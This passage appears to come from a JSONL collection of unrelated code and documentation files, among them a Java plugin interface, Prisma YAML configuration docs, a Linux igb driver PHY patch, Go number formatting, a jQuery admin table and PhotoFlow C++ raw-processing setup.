milkman.domain.ResponseContainer;\n\nimport java.util.List;\n\n/**\n* extension point for adding aspects to a request.\n*/\npublic interface RequestAspectsPlugin extends Orderable {\n\n /**\n * returns a list of RequestAspectEditors that this plugin provides\n */\n\tList getRequestTabs();\n\n /**\n * returns a list of ResponseAspectEditor that this plugin provides\n */\n\tList getResponseTabs();\n\n\t/**\n\t * will be called to add custom aspects to a container.\n\t *\n\t * will be called on creation of requests as well as on displaying requests.\n\t * Second is done because you might drop-in plugins, so existing requests will be enriched on-the-fly.\n * Therefore you have to make sure that aspects are only added if they are not yet existing.\n\t */\n\tvoid initializeRequestAspects(RequestContainer request);\n\n\t/**\n\t * will be called just before execution of a request\n\t * @param request\n\t */\n\tdefault void beforeRequestExecution(RequestContainer request, RequestExecutionContext context) {};\n\n\t/**\n\t * will be called to add custom aspects to a container.\n\t * will be called on creation of a response.\n\t */\n\tvoid initializeResponseAspects(RequestContainer request, ResponseContainer response, RequestExecutionContext context);\n\n}\n"} -{"text": "\ufeff\n\n"} -{"text": "function! youcompleteme#test#popup#CheckPopupPosition( winid, pos )\n redraw\n let actual_pos = popup_getpos( a:winid )\n let ret = 0\n if a:pos->empty()\n return assert_true( actual_pos->empty(), 'popup pos empty' )\n endif\n for c in keys( a:pos )\n if !has_key( actual_pos, c )\n let ret += 1\n call assert_report( 'popup with ID '\n \\ . string( a:winid )\n \\ . ' has no '\n \\ . c\n \\ . ' in: '\n \\ . string( actual_pos ) )\n else\n let ret += assert_equal( a:pos[ c ],\n \\ actual_pos[ c ],\n \\ c . ' in: ' . string( actual_pos ) )\n endif\n endfor\n return ret\nendfunction\n\n\nfunction! youcompleteme#test#popup#ScreenPos( winid, row, col )\n \" Returns the screen position of the row/col in win with id winid. This\n \" differs from screenpos() only in that the position need not be valid, that\n \" is there need not be a text character in the referenced cell. This is useful\n \" when finding where a popup _should_ be in screen position relative to actual\n \" text position\n \"\n \" It also probably doesn't work properly for multi-byte characters and tabs\n \" and things. And only returns the 'row' and 'col' items of the dict.\n \"\n \" So it's not that much like 'screenpos()' really.\n \"\n let [ w_row, w_col ] = win_screenpos( a:winid )\n return { 'row': w_row + a:row, 'col': w_col + a:col }\nendfunction\n"} -{"text": "---\nalias: ufeshusai8\ndescription: YAML Structure\n---\n\n# YAML Structure\n\n## Overview\n\nThe service definition file `prisma.yml` has the following root properties:\n\n- `datamodel` (required): Type definitions for database models, relations, enums and other types.\n- `endpoint`: HTTP endpoint for the Prisma API. Can be omitted to prompt CLI deployment wizard.\n- `secret`: Secret for securing the API endpoint.\n- `subscriptions`: Configuration of subscription webhooks.\n- `seed`: Points to a file containing mutations for data seeding.\n- `custom`: Used to provide variables which can be referenced elsewhere in `prisma.yml`.\n- `hooks`: Define CLI commands to be executed before/after specific actions of the Prisma CLI\n\n> The exact structure of `prisma.yml` is defined with [JSON schema](http://json-schema.org/). You can find the corresponding schema definition [here](https://github.com/graphcool/graphcool-json-schema/blob/master/src/schema.json).\n\n## `datamodel` (required)\n\nThe `datamodel` points to one or more `.graphql`-files containing type definitions written in [GraphQL SDL](https://blog.graph.cool/graphql-sdl-schema-definition-language-6755bcb9ce51). If multiple files are provided, the CLI will simply concatenate their contents at deployment time.\n\n#### Type\n\nThe `datamodel` property expects a **string** or a **list of strings**.\n\n#### Examples\n\nThe data model is defined in a file called `types.graphql`.\n\n```yml\ndatamodel: types.graphql\n```\n\nThe data model is defined in two files called `types.graphql` and `enums.graphl`. When deployed, the contents of both files will be concatenated by the CLI.\n\n```yml\ndatamodel:\n - types.graphql\n - enums.graphql\n```\n\n## `endpoint` (optional)\n\nThe HTTP endpoint for your Prisma API is composed of the following components:\n\n- **Prisma server**: The server that will host your Prisma API.\n- **Workspace** (only Prisma Cloud): The name of the Workspace you configured through Prisma Cloud.\n- **Service name**: A descriptive name for your Prisma API.\n- **Stage**: The development stage of your cluster (e.g. `dev`, `staging`, `prod`).\n\nNote that the `endpoint` is actually required to deploy your Prisma API. However, if you don't specify it in `prisma.yml` before running `prisma deploy`, the CLI will use a wizard to prompt you with a few questions and add the `endpoint` to `prisma.yml` for you.\n\n#### Type\n\nThe `endpoint` property expects a **string**.\n\n#### Examples\n\nThe following example endpoint encodes this information:\n\n- **Prisma server**: `localhost:4466` means you're using Docker to deploy the API on your local machine (on port `4466`).\n- **Service name**: `default`\n- **Stage**: `default`\n\n> **Note**: When service name and stage are both set to `default`, they can be omitted and will be inferred by Prisma. This means this example endpoint is equivalent to writing: `http://localhost:4466/`\n\n```yml\nendpoint: http://localhost:4466/default/default\n```\n\nThe following example endpoint encodes this information:\n\n- **Prisma server**: `eu1.prisma.sh` means you're using a Prisma Sandbox to deploy your Prisma API.\n- **Workspace**: `public-helixgoose-752` is a randomly generated string that identifies the Prisma Cloud workspace for your Sandbox.\n- **Service name**: `myservice`\n- **Stage**: `dev`\n\n```yml\nendpoint: https://eu1.prisma.sh/public-helixgoose-752/myservice/dev\n```\n\nThe following example endpoint encodes this information:\n\n- **Prisma server**: `http://my-pr-Publi-1GXX8QUZU3T89-413349553.us-east-1.elb.amazonaws.com` means you're using a custom server to deploy your Prisma API.\n- **Service name**: `cat-pictures`\n- **Stage**: `prod`\n\n```yml\nendpoint: http://my-pr-Publi-1GXX8QUZU3T89-413349553.us-east-1.elb.amazonaws.com/cat-pictures/prod\n```\n\n## `secret` (optional)\n\nA secret is used to generate (or _sign_) authentication tokens ([JWT](https://jwt.io)). One of these authentication tokens needs to be attached to the HTTP request (in the `Authorization` header field). A secret must follow these requirements:\n\n- must be [utf8](https://en.wikipedia.org/wiki/UTF-8) encoded\n- must not contain spaces\n- must be at most 256 characters long\n\nNote that it's possible to encode multiple secrets in this string, which allows for smooth secret rotations.\n\nRead more about Database [authentication here](!alias-utee3eiquo#authentication).\n\n\n\n**WARNING**: If the Prisma API is deployed without a `secret`, it does not require authentication. This means everyone with access to the `endpoint` is able to send arbitrary queries and mutations and can therefore read and write to the database!\n\n\n\n#### Type\n\nThe `secret` property expects a **string** (not a list of strings). If you want to specify multiple secrets, you need to provide them as a comma-separated list (spaces are ignored), but still as a single string value.\n\n#### Examples\n\nDefine one secret with value `moo4ahn3ahb4phein1eingaep`.\n\n```yml\nsecret: moo4ahn3ahb4phein1eingaep\n```\n\nDefine three secrets with values `myFirstSecret`, `SECRET_NUMBER_2` and `3rd-secret`. Note that the spaces before the second secret are ignored.\n\n```yml\nsecret: myFirstSecret, SECRET_NUMBER_2,3rd-secret\n```\n\nUse the value of the `MY_SECRET` environment variable as the secret(s).\n\n```yml\nsecret: ${env:MY_SECRET}\n```\n\n## `subscriptions` (optional)\n\nThe `subscriptions` property is used to define all the subscription webhooks for your Prisma service. A subscription needs (at least) two pieces of information:\n\n- a _subscription query_ that defines upon which event a function should be invoked and what the payload looks like\n- the URL of a _webhook_ which is invoked via HTTP once the event happens\n- (optionally) a number of HTTP headers to be attached to the request that's sent to the URL\n\n#### Type\n\nThe `subscriptions` property expects an **object** with the following properties:\n\n- `query` (required): The file path to the _subscription query_.\n- `webhook` (required): Information (URL and optionally HTTP headers) about the webhook to be invoked. If there are no headers, you can provide the URL to this property directly (see first example below). Otherwise, `webhook` takes another object with properties `url` and `headers` (see second example below).\n\n#### Examples\n\nSpecify one event subscription without HTTP headers.\n\n```yml\nsubscriptions:\n sendWelcomeEmail:\n query: database/subscriptions/sendWelcomeEmail.graphql\n webhook: https://bcdeaxokbj.execute-api.eu-west-1.amazonaws.com/dev/sendWelcomeEmail\n```\n\nSpecify one event subscription with two HTTP headers.\n\n```yml\nsubscriptions:\n sendWelcomeEmail:\n query: database/subscriptions/sendWelcomeEmail.graphql\n webhook:\n url: https://bcdeaxokbj.execute-api.eu-west-1.amazonaws.com/dev/sendWelcomeEmail\n headers:\n Authorization: ${env:MY_ENDPOINT_SECRET}\n Content-Type: application/json\n```\n\n## `seed` (optional)\n\nDatabase seeding is a standardised way to populate a service with test data.\n\n#### Type\n\nThe `seed` property expects an **object**, with either one of two sub-properties:\n\n* `import`: instructions to import data when seeding a service. You can refer to two kinds of files:\n * either a path to a `.graphql` file with GraphQL operations\n * or a path to a `.zip` file that contains a data set in [Normalized Data Format (NDF)](!alias-teroo5uxih)\n* `run`: shell command that will be executed when seeding a service. This is meant for more complex seed setups that are not covered by `import`.\n\nSeeds are implicitly executed when deploying a service for the first time (unless explicitly disabled using the `--no-seed` flag). Track [this feature request for additional seeding workflows](https://github.com/graphcool/prisma/issues/1536).\n\n#### Examples\n\nRefer to a `.graphql` file containing seeding mutations:\n\n```yml\nseed:\n import: database/seed.graphql\n```\n\nRefer to a `.zip` file with a data set in NDF:\n\n```yml\nseed:\n import: database/backup.zip\n```\n\nRun a Node script when seeding:\n\n```yml\nseed:\n run: node script.js\n```\n\n## `custom` (optional)\n\nThe `custom` property lets you specify any sorts of values you want to reuse elsewhere in your `prisma.yml`. It thus doesn't have a predefined structure. You can reference the values using variables with the [`self` variable source](!alias-nu5oith4da#self-references), e.g.: `${self:custom.myVariable}`.\n\n#### Type\n\nThe `custom` property expects an **object**. There are no assumptions about the shape of the object.\n\n#### Examples\n\nDefine two custom values and reuse them in the definition of the event subscription.\n\n```yml\ncustom:\n serverlessEndpoint: https://bcdeaxokbj.execute-api.eu-west-1.amazonaws.com/dev\n subscriptionQueries: database/subscriptions/\n\nsubscriptions:\n sendWelcomeEmail:\n query: ${self:custom.subscriptionQueries}/sendWelcomeEmail.graphql\n webhook: https://${self:custom.serverlessEndpoint}/sendWelcomeEmail\n```\n\n## `hooks` (optional)\n\nThe `hooks` property is used to define terminal commands which will be executed by the Prisma CLI before or after certain commands.\n\nThe following hooks are currently available:\n\n- `post-deploy`: Will be invoked _after_ the `prisma deploy` command\n\n#### Type\n\nThe `hooks` property expects an **object**. The properties match the names of the currently availale hooks.\n\n#### Examples\n\nHere is an example that performs three tasks after `prisma deploy` was executed:\n\n1. Print \"Deployment finished\"\n1. Download the GraphQL schema for the `db` project specified in `.graphqlconfig.yml`\n1. Invoke code generation as specified in `.graphqlconfig.yml`\n\n```yml\nhooks:\n post-deploy:\n - echo \"Deployment finished\"\n - graphql get-schema --project db\n - graphql prepare\n```\n\nNote that this setup assumes the availability of a `.graphqlconfig.yml` looking similar to this:\n\n```yml\nprojects:\n prisma:\n schemaPath: generated/prisma.graphql\n extensions:\n prisma: prisma.yml\n prepare-binding:\n output: generated/prisma.ts\n generator: prisma-ts\n```\n"} -{"text": "add extra PHY support to intel igb driver\n\nCopyright (C) 2016 david_yang \n\nSPDX-License-Identifier: GPL-2.0\n\ndiff --git a/drivers/net/ethernet/intel/intel-igb/e1000_82575.c b/drivers/net/ethernet/intel/intel-igb/e1000_82575.c\nindex b4b973e..9cfc59e 100644\n--- a/drivers/net/ethernet/intel/intel-igb/e1000_82575.c\n+++ b/drivers/net/ethernet/intel/intel-igb/e1000_82575.c\n@@ -302,6 +302,9 @@ static s32 e1000_init_phy_params_82575(struct e1000_hw *hw)\n \t\tphy->ops.set_d3_lplu_state = e1000_set_d3_lplu_state_82580;\n \t\tphy->ops.force_speed_duplex = e1000_phy_force_speed_duplex_m88;\n \t\tbreak;\n+\tcase BCM54616S_E_PHY_ID:\n+\t\tphy->type\t\t= e1000_phy_bcm54616s;\n+\t\tbreak;\n \tdefault:\n \t\tret_val = -E1000_ERR_PHY;\n \t\tgoto out;\n@@ -1602,6 +1605,9 @@ static s32 e1000_setup_copper_link_82575(struct e1000_hw *hw)\n \tcase e1000_phy_82580:\n \t\tret_val = e1000_copper_link_setup_82577(hw);\n \t\tbreak;\n+\tcase e1000_phy_bcm54616s:\n+\t\tret_val = 0;\n+\t\tbreak;\n \tdefault:\n \t\tret_val = -E1000_ERR_PHY;\n \t\tbreak;\ndiff --git a/drivers/net/ethernet/intel/intel-igb/e1000_defines.h b/drivers/net/ethernet/intel/intel-igb/e1000_defines.h\nindex 6de3988..d54c8d0 100644\n--- a/drivers/net/ethernet/intel/intel-igb/e1000_defines.h\n+++ b/drivers/net/ethernet/intel/intel-igb/e1000_defines.h\n@@ -1185,6 +1185,7 @@\n #define I210_I_PHY_ID\t\t0x01410C00\n #define IGP04E1000_E_PHY_ID\t0x02A80391\n #define M88_VENDOR\t\t0x0141\n+#define BCM54616S_E_PHY_ID\t0x03625D10\n \n /* M88E1000 Specific Registers */\n #define M88E1000_PHY_SPEC_CTRL\t\t0x10 /* PHY Specific Control Reg */\ndiff --git a/drivers/net/ethernet/intel/intel-igb/e1000_hw.h b/drivers/net/ethernet/intel/intel-igb/e1000_hw.h\nindex 3bcecf1..e92a848 100644\n--- a/drivers/net/ethernet/intel/intel-igb/e1000_hw.h\n+++ b/drivers/net/ethernet/intel/intel-igb/e1000_hw.h\n@@ -133,6 +133,7 @@ enum e1000_phy_type {\n \te1000_phy_82580,\n \te1000_phy_vf,\n \te1000_phy_i210,\n+\te1000_phy_bcm54616s,\n };\n \n enum e1000_bus_type {\n"} -{"text": "/*\nCopyright 2016 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage generators\n\nimport (\n\t\"io\"\n\n\t\"k8s.io/gengo/generator\"\n\t\"k8s.io/gengo/namer\"\n\t\"k8s.io/gengo/types\"\n\n\t\"k8s.io/code-generator/cmd/client-gen/generators/util\"\n)\n\n// versionInterfaceGenerator generates the per-version interface file.\ntype versionInterfaceGenerator struct {\n\tgenerator.DefaultGen\n\toutputPackage string\n\timports namer.ImportTracker\n\ttypes []*types.Type\n\tfiltered bool\n\tinternalInterfacesPackage string\n}\n\nvar _ generator.Generator = &versionInterfaceGenerator{}\n\nfunc (g *versionInterfaceGenerator) Filter(c *generator.Context, t *types.Type) bool {\n\tif !g.filtered {\n\t\tg.filtered = true\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc (g *versionInterfaceGenerator) Namers(c *generator.Context) namer.NameSystems {\n\treturn namer.NameSystems{\n\t\t\"raw\": namer.NewRawNamer(g.outputPackage, g.imports),\n\t}\n}\n\nfunc (g *versionInterfaceGenerator) Imports(c *generator.Context) (imports []string) {\n\timports = append(imports, g.imports.ImportLines()...)\n\treturn\n}\n\nfunc (g *versionInterfaceGenerator) GenerateType(c *generator.Context, t *types.Type, w io.Writer) error {\n\tsw := generator.NewSnippetWriter(w, c, \"$\", \"$\")\n\n\tm := map[string]interface{}{\n\t\t\"interfacesTweakListOptionsFunc\": c.Universe.Type(types.Name{Package: g.internalInterfacesPackage, Name: \"TweakListOptionsFunc\"}),\n\t\t\"interfacesSharedInformerFactory\": c.Universe.Type(types.Name{Package: g.internalInterfacesPackage, Name: \"SharedInformerFactory\"}),\n\t\t\"types\": g.types,\n\t}\n\n\tsw.Do(versionTemplate, m)\n\tfor _, typeDef := range g.types {\n\t\ttags, err := util.ParseClientGenTags(typeDef.SecondClosestCommentLines)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tm[\"namespaced\"] = !tags.NonNamespaced\n\t\tm[\"type\"] = typeDef\n\t\tsw.Do(versionFuncTemplate, m)\n\t}\n\n\treturn sw.Error()\n}\n\nvar versionTemplate = `\n// Interface provides access to all the informers in this group version.\ntype Interface interface {\n\t$range .types -$\n\t\t// $.|publicPlural$ returns a $.|public$Informer.\n\t\t$.|publicPlural$() $.|public$Informer\n\t$end$\n}\n\ntype version struct {\n\tfactory $.interfacesSharedInformerFactory|raw$\n\tnamespace string\n\ttweakListOptions $.interfacesTweakListOptionsFunc|raw$\n}\n\n// New returns a new Interface.\nfunc New(f $.interfacesSharedInformerFactory|raw$, namespace string, tweakListOptions $.interfacesTweakListOptionsFunc|raw$) Interface {\n\treturn &version{factory: f, namespace: namespace, tweakListOptions: tweakListOptions}\n}\n`\n\nvar versionFuncTemplate = `\n// $.type|publicPlural$ returns a $.type|public$Informer.\nfunc (v *version) $.type|publicPlural$() $.type|public$Informer {\n\treturn &$.type|private$Informer{factory: v.factory$if .namespaced$, namespace: v.namespace$end$, tweakListOptions: v.tweakListOptions}\n}\n`\n"} -{"text": "/* memcpy (the standard C function)\n This function is in the public domain. */\n\n/*\n\n@deftypefn Supplemental void* memcpy (void *@var{out}, const void *@var{in}, @\n size_t @var{length})\n\nCopies @var{length} bytes from memory region @var{in} to region\n@var{out}. Returns a pointer to @var{out}.\n\n@end deftypefn\n\n*/\n\n#include \n#include \n\nvoid bcopy (const void*, void*, size_t);\n\nPTR\nmemcpy (PTR out, const PTR in, size_t length)\n{\n bcopy(in, out, length);\n return out;\n}\n"} -{"text": "..\\IronJS\\Bin\\Debug\\Node.Net.exe subrequire.js\n"} -{"text": "package humanize\n\n/*\nSlightly adapted from the source to fit go-humanize.\n\nAuthor: https://github.com/gorhill\nSource: https://gist.github.com/gorhill/5285193\n\n*/\n\nimport (\n\t\"math\"\n\t\"strconv\"\n)\n\nvar (\n\trenderFloatPrecisionMultipliers = [...]float64{\n\t\t1,\n\t\t10,\n\t\t100,\n\t\t1000,\n\t\t10000,\n\t\t100000,\n\t\t1000000,\n\t\t10000000,\n\t\t100000000,\n\t\t1000000000,\n\t}\n\n\trenderFloatPrecisionRounders = [...]float64{\n\t\t0.5,\n\t\t0.05,\n\t\t0.005,\n\t\t0.0005,\n\t\t0.00005,\n\t\t0.000005,\n\t\t0.0000005,\n\t\t0.00000005,\n\t\t0.000000005,\n\t\t0.0000000005,\n\t}\n)\n\n// FormatFloat produces a formatted number as string based on the following user-specified criteria:\n// * thousands separator\n// * decimal separator\n// * decimal precision\n//\n// Usage: s := RenderFloat(format, n)\n// The format parameter tells how to render the number n.\n//\n// See examples: http://play.golang.org/p/LXc1Ddm1lJ\n//\n// Examples of format strings, given n = 12345.6789:\n// \"#,###.##\" => \"12,345.67\"\n// \"#,###.\" => \"12,345\"\n// \"#,###\" => \"12345,678\"\n// \"#\\u202F###,##\" => \"12\u202f345,68\"\n// \"#.###,###### => 12.345,678900\n// \"\" (aka default format) => 12,345.67\n//\n// The highest precision allowed is 9 digits after the decimal symbol.\n// There is also a version for integer number, FormatInteger(),\n// which is convenient for calls within template.\nfunc FormatFloat(format string, n float64) string {\n\t// Special cases:\n\t// NaN = \"NaN\"\n\t// +Inf = \"+Infinity\"\n\t// -Inf = \"-Infinity\"\n\tif math.IsNaN(n) {\n\t\treturn \"NaN\"\n\t}\n\tif n > math.MaxFloat64 {\n\t\treturn \"Infinity\"\n\t}\n\tif n < -math.MaxFloat64 {\n\t\treturn \"-Infinity\"\n\t}\n\n\t// default format\n\tprecision := 2\n\tdecimalStr := \".\"\n\tthousandStr := \",\"\n\tpositiveStr := \"\"\n\tnegativeStr := \"-\"\n\n\tif len(format) > 0 {\n\t\tformat := []rune(format)\n\n\t\t// If there is an explicit format directive,\n\t\t// then default values are these:\n\t\tprecision = 9\n\t\tthousandStr = \"\"\n\n\t\t// collect indices of meaningful formatting directives\n\t\tformatIndx := []int{}\n\t\tfor i, char := range format {\n\t\t\tif char != '#' && char != '0' {\n\t\t\t\tformatIndx = append(formatIndx, i)\n\t\t\t}\n\t\t}\n\n\t\tif len(formatIndx) > 0 {\n\t\t\t// Directive at index 0:\n\t\t\t// Must be a '+'\n\t\t\t// Raise an error if not the case\n\t\t\t// index: 0123456789\n\t\t\t// +0.000,000\n\t\t\t// +000,000.0\n\t\t\t// +0000.00\n\t\t\t// +0000\n\t\t\tif formatIndx[0] == 0 {\n\t\t\t\tif format[formatIndx[0]] != '+' {\n\t\t\t\t\tpanic(\"RenderFloat(): invalid positive sign directive\")\n\t\t\t\t}\n\t\t\t\tpositiveStr = \"+\"\n\t\t\t\tformatIndx = formatIndx[1:]\n\t\t\t}\n\n\t\t\t// Two directives:\n\t\t\t// First is thousands separator\n\t\t\t// Raise an error if not followed by 3-digit\n\t\t\t// 0123456789\n\t\t\t// 0.000,000\n\t\t\t// 000,000.00\n\t\t\tif len(formatIndx) == 2 {\n\t\t\t\tif (formatIndx[1] - formatIndx[0]) != 4 {\n\t\t\t\t\tpanic(\"RenderFloat(): thousands separator directive must be followed by 3 digit-specifiers\")\n\t\t\t\t}\n\t\t\t\tthousandStr = string(format[formatIndx[0]])\n\t\t\t\tformatIndx = formatIndx[1:]\n\t\t\t}\n\n\t\t\t// One directive:\n\t\t\t// Directive is decimal separator\n\t\t\t// The number of digit-specifier following the separator indicates wanted precision\n\t\t\t// 0123456789\n\t\t\t// 0.00\n\t\t\t// 000,0000\n\t\t\tif len(formatIndx) == 1 {\n\t\t\t\tdecimalStr = string(format[formatIndx[0]])\n\t\t\t\tprecision = len(format) - formatIndx[0] - 1\n\t\t\t}\n\t\t}\n\t}\n\n\t// generate sign part\n\tvar signStr string\n\tif n >= 0.000000001 {\n\t\tsignStr = positiveStr\n\t} else if n <= -0.000000001 {\n\t\tsignStr = negativeStr\n\t\tn = -n\n\t} else {\n\t\tsignStr = \"\"\n\t\tn = 0.0\n\t}\n\n\t// split number into integer and fractional parts\n\tintf, fracf := math.Modf(n + renderFloatPrecisionRounders[precision])\n\n\t// generate integer part string\n\tintStr := strconv.FormatInt(int64(intf), 10)\n\n\t// add thousand separator if required\n\tif len(thousandStr) > 0 {\n\t\tfor i := len(intStr); i > 3; {\n\t\t\ti -= 3\n\t\t\tintStr = intStr[:i] + thousandStr + intStr[i:]\n\t\t}\n\t}\n\n\t// no fractional part, we can leave now\n\tif precision == 0 {\n\t\treturn signStr + intStr\n\t}\n\n\t// generate fractional part\n\tfracStr := strconv.Itoa(int(fracf * renderFloatPrecisionMultipliers[precision]))\n\t// may need padding\n\tif len(fracStr) < precision {\n\t\tfracStr = \"000000000000000\"[:precision-len(fracStr)] + fracStr\n\t}\n\n\treturn signStr + intStr + decimalStr + fracStr\n}\n\n// FormatInteger produces a formatted number as string.\n// See FormatFloat.\nfunc FormatInteger(format string, n int) string {\n\treturn FormatFloat(format, float64(n))\n}\n"} -{"text": "\ufeffdefine(['jquery', 'utils', 'sweetAlert', 'flatJson', 'bootstrapDialog', 'bootstrapTable'], function ($, utils) {\n var module = {\n init: function () {\n var tmp = utils.loadTemplate(\"/misc/content.html\", false);\n tmp = $(tmp);\n tmp.find(\"#tb_contents\").attr(\"data-url\", \"/api/fp/content/list\");\n\n $(\"#tab_panel_content\").html(tmp.prop(\"outerHTML\"));\n\n module.fillShard(tmp);\n\n var $table = $('#tb_contents').bootstrapTable({\n toolbar: '#toolbar_contents',\n striped: true,\n cache: false,\n pagination: true,\n sortable: false,\n sortOrder: \"asc\",\n queryParams: module.queryParams,\n sidePagination: \"server\",\n pageNumber: 1,\n pageSize: 10,\n pageList: [10, 25, 50, 100],\n showColumns: true,\n showRefresh: true,\n minimumCountColumns: 2,\n clickToSelect: true,\n height: 550,\n uniqueId: \"ID\",\n cardView: false,\n detailView: false,\n flat: true,\n flatSeparator: '.'\n });\n module.initEvent();\n },\n initEvent: function () {\n $(document).on(\"click\", \"#content_search_group .dropdown-menu a\", function () {\n $(this).closest(\"ul\").prev(\"button\").html($(this).text() + \"\");\n });\n\n $(document).on(\"click\", \"#content_search_group .content-search\", function () {\n module.search();\n });\n\n //batch operate\n $(document).on(\"click\", \"#toolbar_contents a[remove]\", function () {\n module.batchOpConfirm(\"Do you confirm the deletion?\", \"The results will not be restored!\", \"warning\", module.remove);\n });\n },\n fillShard: function () {\n var url = \"/api/fp/content/shards\";\n\n var shardDropdown = $(\"#content_search_group button.shard\").parent().find(\"ul.dropdown-menu\");\n $.getJSON(url, function (res) {\n if (res) {\n shardDropdown.html(\"\");\n res.map(function (s) {\n shardDropdown.append(\"
  • \" + s + \"
    • \");\n });\n }\n });\n },\n search: function () {\n $(\"#tb_contents\").bootstrapTable('refresh');\n },\n feedResult: function (feedId) {\n $(\"#content_search_group .feed\").val(feedId);\n module.search();\n },\n queryParams: function (params) {\n var temp = {\n limit: params.limit,\n offset: params.offset,\n feedId: $.trim($(\"#content_search_group .feed\").val()),\n shard: $.trim($(\"#content_search_group .shard\").text()),\n };\n return temp;\n },\n batchOpConfirm: function (title, text, type, callback) {\n var selects = $(\"#tb_contents\").bootstrapTable('getSelections');\n if (selects.length <= 0) {\n swal(\"Unchecked any result!\", \"\", \"warning\");\n return;\n }\n var ids = selects.map(function (s) { return s.id }).join(\",\");\n swal(\n {\n title: title,\n text: text,\n type: type,\n showCancelButton: true,\n confirmButtonColor: \"#DD6B55\",\n confirmButtonText: \"Confirm\",\n cancelButtonText: \"Cancel\",\n closeOnConfirm: false\n },\n function () {\n callback(ids);\n }\n );\n },\n remove: function (ids) {\n var selects = $(\"#tb_contents\").bootstrapTable('getSelections');\n var shard = new Date(selects[0].cdate).format(\"yyyyMM\");\n\n var url = \"/api/fp/content/remove?ids=\" + ids + \"&shard=\" + shard;\n\n $.getJSON(url, function (res) {\n if (res) {\n swal(\"Delete sucess!\", \"The results have been deleted.\", \"success\");\n $('#tb_contents').bootstrapTable(\"refresh\");\n } else {\n swal(\"Delete failed!\", \"A mistake in the deletion result.\", \"error\");\n }\n });\n }\n };\n\n module.init();\n return module;\n});"} -{"text": "/*\n Copyright (C) 2016 Apple Inc. All Rights Reserved.\n See LICENSE.txt for this sample\u2019s licensing information\n \n Abstract:\n The custom MKAnnotation object representing the city of San Francisco.\n */\n\n#import \n\n@interface SFAnnotation : NSObject \n\n+ (MKAnnotationView *)createViewAnnotationForMapView:(MKMapView *)mapView annotation:(id )annotation;\n\n@end\n\n\n"} -{"text": "/* \n */\n\n/*\n\n Copyright (C) 2014 Ferrero Andrea\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see .\n\n\n */\n\n/*\n\n These files are distributed with PhotoFlow - http://aferrero2707.github.io/PhotoFlow/\n\n */\n\n#include \n#include \n#include \n\n#include \"convertformat.hh\"\n#include \"raw_preprocessor.hh\"\n#include \"ca_correct.hh\"\n#include \"amaze_demosaic.hh\"\n#include \"lmmse_demosaic.hh\"\n#include \"igv_demosaic.hh\"\n#include \"rcd_demosaic.hh\"\n#include \"no_demosaic.hh\"\n#include \"xtrans_demosaic.hh\"\n#include \"fast_demosaic.hh\"\n#include \"fast_demosaic_xtrans.hh\"\n#include \"false_color_correction.hh\"\n#include \"lensfun.hh\"\n#include \"raw_hl_reco.hh\"\n#include \"raw_output.hh\"\n#include \"hotpixels.hh\"\n\n#include \"raw_developer.hh\"\n\n\nPF::RawDeveloperPar::RawDeveloperPar(): \n OpParBase(), output_format( VIPS_FORMAT_NOTSET ),\n lf_prop_camera_maker( \"lf_camera_maker\", this ),\n lf_prop_camera_model( \"lf_camera_model\", this ),\n lf_prop_lens( \"lf_lens\", this ),\n enable_distortion( \"lf_enable_distortion\", this, false ),\n enable_tca( \"lf_enable_tca\", this, false ),\n enable_vignetting( \"lf_enable_vignetting\", this, false ),\n enable_all( \"lf_enable_all\", this, false ),\n auto_crop( \"lf_auto_crop\", this, false ),\n tca_method(\"tca_method\",this,PF::PF_TCA_CORR_AUTO,\"TCA_CORR_AUTO\",_(\"auto\")),\n demo_method(\"demo_method\",this,PF::PF_DEMO_AMAZE,\"AMAZE\",\"Amaze\"),\n\tfcs_steps(\"fcs_steps\",this,0),\n hlreco_mode(\"hlreco_mode\",this,PF::HLRECO_CLIP,\"HLRECO_CLIP\",_(\"clip\")),\n\tcaching_enabled( true )\n{\n tca_method.add_enum_value(PF::PF_TCA_CORR_AUTO,\"TCA_CORR_AUTO\",_(\"auto\"));\n tca_method.add_enum_value(PF::PF_TCA_CORR_PROFILED,\"TCA_CORR_PROFILED\",_(\"profiled\"));\n tca_method.add_enum_value(PF::PF_TCA_CORR_PROFILED_AUTO,\"TCA_CORR_PROFILED_AUTO\",_(\"profiled + auto\"));\n //tca_method.add_enum_value(PF::PF_TCA_CORR_MANUAL,\"TCA_CORR_MANUAL\",_(\"manual\"));\n\n demo_method.add_enum_value(PF::PF_DEMO_AMAZE,\"AMAZE\",\"Amaze\");\n demo_method.add_enum_value(PF::PF_DEMO_RCD,\"RCD\",\"RCD\");\n //demo_method.add_enum_value(PF::PF_DEMO_FAST,\"FAST\",\"Fast\");\n demo_method.add_enum_value(PF::PF_DEMO_LMMSE,\"LMMSE\",\"LMMSE\");\n demo_method.add_enum_value(PF::PF_DEMO_IGV,\"IGV\",\"Igv\");\n //demo_method.add_enum_value(PF::PF_DEMO_NONE,\"NONE\",\"RAW\");\n\n hlreco_mode.add_enum_value(PF::HLRECO_BLEND,\"HLRECO_BLEND\",_(\"blend\"));\n hlreco_mode.add_enum_value(PF::HLRECO_NONE,\"HLRECO_NONE\",_(\"none\"));\n\n amaze_demosaic = new_amaze_demosaic();\n lmmse_demosaic = new_lmmse_demosaic();\n igv_demosaic = new_igv_demosaic();\n rcd_demosaic = new_rcd_demosaic();\n no_demosaic = new_no_demosaic();\n xtrans_demosaic = new_xtrans_demosaic();\n fast_demosaic = new_fast_demosaic();\n fast_demosaic_xtrans = new_fast_demosaic_xtrans();\n FastDemosaicXTransPar* xtrans_par =\n dynamic_cast(fast_demosaic_xtrans->get_par());\n if( xtrans_par ) xtrans_par->set_normalize( true );\n raw_preprocessor = new_raw_preprocessor();\n ca_correct = new_ca_correct();\n hl_reco = 